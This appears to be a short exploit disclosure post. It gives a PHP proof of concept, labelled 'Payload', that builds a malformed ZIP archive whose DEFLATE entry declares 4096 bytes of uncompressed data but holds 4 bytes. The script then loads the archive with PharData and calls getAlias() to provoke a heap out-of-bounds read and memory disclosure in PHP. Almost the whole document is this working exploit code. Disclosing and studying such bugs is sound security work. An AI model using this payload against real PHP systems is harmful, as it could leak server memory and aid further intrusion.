[+] Summary : A PHP proof-of-concept constructs a malformed ZIP archive containing a DEFLATE-compressed entry whose declared
uncompressed size (4096 bytes) differs from its actual decompressed content (4 bytes).
It then loads the archive using PharData and calls getAlias() to investigate a potential
heap out-of-bounds read and memory disclosure caused by inconsistent ZIP metadata.

[+] Payload :
<?php
$name = '.phar/alias.txt';
$alias = 'ABCD';
$data = gzdeflate($alias);
$crc = crc32($alias);
$claimed = 0x1000;
$local = "PK\x03\x04"
. pack('vvvvvVVVvv', 20, 0, 8, 0, 0, $crc, strlen($data), $claimed, strlen($name), 0)
. $name . $data;
$central = "PK\x01\x02"
. pack('vvvvvvVVVvvvvvVV', 20, 20, 0, 8, 0, 0, $crc, strlen($data), $claimed, strlen($name), 0, 0, 0, 0, 0, 0)
. $name;
$end = "PK\x05\x06"
. pack('vvvvVVv', 0, 0, 1, 1, strlen($central), strlen($local), 0);
file_put_contents(__DIR__ . '/indoushka.zip', $local . $central . $end);
$phar = new PharData(__DIR__ . '/indoushka.zip');
var_dump($phar->getAlias());
?>
